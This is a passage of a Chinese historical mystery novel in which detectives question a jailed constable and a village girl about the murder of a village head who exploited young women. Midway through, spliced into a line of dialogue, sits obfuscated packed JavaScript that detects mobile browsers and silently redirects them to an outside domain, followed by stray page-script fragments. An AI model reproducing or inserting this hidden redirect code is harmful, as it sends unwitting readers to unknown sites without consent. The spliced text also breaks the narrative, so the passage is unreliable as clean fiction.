“我也拦过,说这些都是曲村的闺女,可他不听、不听我的话。”王梅没有听到梁蔚然与郑敏的声音,生怕二人因此问罪于她,急忙撇清关系。
“里长被杀那日晚上,你真的不知道当时发生何事?”郑敏突然开口,却又问起这个问题。
“不知,我真的不知道。”王梅眼神惊恐地瞧着郑敏,激动地直摇头,“那天是、是我儿的忌辰,白日我去密室看过他后,回来感觉非常累,早早便歇下了。”
郑敏点点头,似乎只是随口提起,见王梅已将事情经过解释清楚,再无其他话要说,便命人将她暂时关押起来,日后再发落。
“等等。”
王梅正随着捕快一同离开此地,便听到梁蔚然的声音。
“将钥匙留下。”
梁蔚然手握柴房钥匙,询问地看向郑敏:“后日是原定的祁神之日,里长死后,曲村百姓将蔡捕快视为凶手,激愤之下宣称要在后日行火刑,要现在揭穿里长恶行吗?”
郑敏思索良久,说道:“这样不妥。”
一来曲村百姓信奉丰收神女良久,已经将其视为生活的一部分,如今突然推翻他们的信仰,很容易引起问题。二来里长在百姓心中地位尊崇,还是需要找到真凶为蔡达洗清冤屈,否则村民不可控之下会做出什么过激行为,谁都无法预测。
“揭穿里长恶行一事,需要一个温和的法子。”郑敏望向关押蔡达的柴房,“当务之急还是要弄清楚,那晚究竟发生何事。”
“蔡捕快,这两天你受委屈了。”梁蔚然将门打开,瞧见蔡达正精神萎靡地靠坐在墙边,见到二人身影后才恢复些神采。
尤其是看见梁蔚然后,蔡达一扫颓然挺直腰背坐了起来:“真凶找到了?”
“还没有。”梁蔚然摇摇头,看向蔡达,“那天晚上究竟发生何事?”
王梅不清楚,但蔡达就在现场醒来,不可能什么都不知道。
“蔡捕快。”郑敏也上前一步,“里长在曲村备受尊敬,若是后日村民仍执意要将你押去刑场,便是我与梁捕头阻拦亦无济于事。”
“这有何难。”蔡达语气沉沉,“我认下这个凶手便是。”
只是他猝然抬头,直视梁蔚然,一字一句说道:“梁捕头便眼睁睁瞧着我一个无辜之人为那等罪大恶极之人偿命?”
“不是梁捕头逼迫,而是你不愿说出实情。”郑敏瞧着满身狼狈的蔡达,极为不赞成他的做法,若是他真的看见过凶手,为何包庇对方,难不成……
她想到里长的致命伤所在,猜测道,“你是看到凶手行凶,还是…里长在行凶?”
蔡达听到此话瞳仁一缩,随即撇开眼,不去瞧郑敏眼中审视。
“若是里长加害在先,行凶之人自保在后,他便无罪。”
“果真?”蔡达眼睛一亮,站起身来,“你没有骗我?”
“曾经有过先例。”郑敏曾在书上见过这样的案例,“前朝有窃贼持刀闯入他人家中,此等情况下主家自觉生命受到威胁,杀之无罪。及至本朝,发生类似事件后,亦沿用旧法。”
“更何况梁捕头的为人你也清楚,并不是那等是非不分之人。”
蔡达听后神色松动,视线在梁蔚然与郑敏之间徘徊半晌,最终还是说出那晚他的所见所闻。
那日白天蔡达去寻里长,结果吃了闭门羹,他不死心,用过晚饭后又去里长家碰运气。
好在他运气不错,正巧遇到同去寻里长的一位村民。
里长将二人一同迎进家门,只是蔡达并不知道两人的交谈内容,等里长有空见他是,蔡达只看到地上的茶碗碎渣,想来二人曾发生过争执。
只是蔡达的主要目的是为了收税,没将这些小事放在心上。
“我同里长打了许久的太极,他还是不说何时交税。”
与里长谈话后,他以天色过晚为由,留蔡达在家中歇下,里长盛情难却,蔡达便也没有拒绝。
“我回到房中后,又拿出往年曲村赋税账本来看,却发现近五年来,曲村每年的赋税根本没有变动。”
赋税大头来自地税、粮食税和人头税,粮食税多少主要看当年收成,根本不能每年都保持一致,更不必提人头税。
蔡达心觉不对,又返回方才与里长议事的房间,谁知却从窗户上看到两道黑影。他心道不对,推门而入便看到倒在血泊中的里长,他后心处插着一把匕首。
“我正要拔刀,却被人从身后砸晕。”蔡达摊摊手,比划了一个高度,“当时窗户上的黑影大概这么高,应该是两名女子。”
“你没见到行凶之人,却愿意包庇她们?”
蔡达翻了个白眼,没好气地冲梁蔚然说道:“是又如何,我就是觉得她们既然鼓起勇气杀人,定是受了天大的委屈。”
郑敏闻言也看向蔡达,后者犹豫半晌才继续道。
“其实,我初来曲村时,无意中撞见里长正在威胁一名看上去十七八岁的女子,后来见到里长,我打心眼里不待见他。”
所以不欲说出那两名女子,想着受些屈辱便能将此事揭过,谁知曲村村民不依不饶,竟敢毫不畏惧地与官差对上。
“下次若在遇到这种事,还请蔡捕快收收同情心。”梁蔚然提醒道,这次行凶之人或许情有可原,但下次若再意气行事,保不齐会酿下大祸。
“我爹说过,办案之时直觉很重要,我是根据直觉来的。”
“办案更重要的,是讲证据。”
“二位可否先停一停?”郑敏瞧着你一嘴我一句的两人,长叹一声,道,“正事要紧。”
“对对对,正是要紧。”蔡达挑衅地瞧了眼梁蔚然,“梁捕头,接下来要怎么做?还是听郑娘子的?”
谁知梁蔚然并不生气,没有多看蔡达一眼,而是赞同地点点头,道:“听郑娘子的。”
蔡达仿佛一拳头打在棉花上,憋屈地闭上嘴。
“先找到那两名女子再说。”
“曲村之人我们都不认识,怎么找?”蔡达看向郑敏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457899|169598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,耸耸肩,“我没见过她们。”
郑敏没有说话,只带二人来到后院的棺木处,看向守在棺木旁边的老奴。
“他知道。”梁蔚然见到人后,眼睛一亮,不待郑敏说话便自觉地跑到老奴面前询问。
没一会,他便转头走向两人,神情凝重:“他说,那晚里长只见过一位女子,是村西的曲娘子。”
郑敏与梁蔚然对视一眼,老奴没有必要说谎,蔡达亦没有说谎,房间中多出来的那位女子,只有去问曲娘子。
三人很快便根据老奴的支路,来到村西曲娘子家。
“谁呀?”曲月听到敲门声后,很快便来开门,见到门外站着的三人,先是一愣,而后指着郑敏道,“是你。”
郑敏听后仔细辨认一番,发现正是昨晚给她指路的少女。
“你们来我家,有何事?”但是很快,曲月看到郑敏身旁二人身着官服,意识到他们的身份,手用力扶着木门,等着几人道明来意。
“里长被杀那晚,你见过他?”
曲月下意识瞧了蔡达一眼,犹豫一瞬点点头,道:“我确实见过里长,但是很快就走了。”
“可否让我们进去叙话?”郑敏看出曲月面上的紧绷,温声询问道。
“自然可以。”曲月点点头,拉开门的同时又添上一句,“不过事情就是我方才所说,你们要再问其他事,我可不知道。”
“你是最后一个见过里长之人,你离开之前,可有察觉什么异常?”郑敏知道直接问起另一名少女之事,曲月定不会说出实情,只能顺着她的话语询问,先降低曲月的警惕心。
“没有异常。”曲月没有多做回想,斩钉截铁地说道,“我去寻里长,是为了说我不想参加祈神仪式,谁知第二日却听到他的死讯。”
曲月今年不过十七岁,就算做了很多心理准备,郑敏仍能从她的语气中感知到她对里长的不满。
“曲村很多人都信奉神明。”
“这些不过是里长控制他们的手段罢了。”曲月听完郑敏的话,语速愤愤地反驳道,“若是世间真有神明,定不需要无辜之人的鲜血来生存。
“你说得不错。”
曲月眼睛一亮,看向郑敏:“你也这么认为?”
“这话是谁告诉你的?”郑敏心中一动,试探地看向曲月。
“没有谁,是我从书上看的。”曲月又紧张起来,生怕在郑敏的询问下说出什么不该说的是事,站起身便要请三人离开,此时却门外却传来敲门声。
三人的目光全落在曲月身上,她勉强一笑,说道:“有客人来。”
说罢跑到门口,小心将门拉开一条缝,门外之人敏锐察觉到不对,直接越过曲月朝门内走来。
曲月阻拦不及,只能眼睁睁地瞧着她进入三人视野之中。
“阿月,他们是?”
“他们是府衙来的捕快。”曲月向杜若介绍几人,随后眼神期待地看向杜若,“杜姐姐,今日不能招待你,不若改日再来?”